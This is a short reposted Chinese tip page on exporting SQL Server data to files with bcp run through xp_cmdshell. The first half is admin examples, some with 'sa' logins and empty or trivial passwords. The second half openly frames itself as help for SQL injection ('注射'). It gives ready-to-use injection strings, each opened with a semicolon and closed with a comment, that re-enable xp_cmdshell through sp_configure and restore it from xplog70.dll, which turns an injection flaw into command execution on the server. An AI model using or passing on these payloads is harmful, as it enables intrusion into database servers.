sql 导出数据

来源:互联网 发布:网络推广工作计划书 编辑:程序博客网 时间:2024/06/05 09:07
 

--T-SQL代码:
EXEC master..xp_cmdshell 'bcp 库名.dbo.表名out
c:\Temp.xls -c -q -S"servername" -U"sa" -P""'
--参数:S 是SQL服务器名;U是用户;P是密码
--说明:还可以导出文本文件等多种格式
--实例:
EXEC master..xp_cmdshell 'bcp saletesttmp.dbo.CusAccount out
c:\temp1.xls -c -q -S"pmserver" -U"sa" -P"sa"'
EXEC master..xp_cmdshell
'bcp "SELECT au_fname, au_lname FROM pubs..authors ORDER BY au_lname" queryout
C:\ authors.xls -c -Sservername -Usa -Ppassword'

SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服

务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启

用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

SQL2005 在默认的设置中是删除了 XP_CMDSHELL的,因此也在注射过程中产生了点困难。后来经过查看

MSSQL2005的手册才知道情况原来如此:
用下面一句话就可以了解决了。
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',

1;RECONFIGURE;--
关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',

0;RECONFIGURE;--

如果cmdshell还不行的话,就再运行:
;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
或者
;sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
来恢复cmdshell。

原创粉丝点击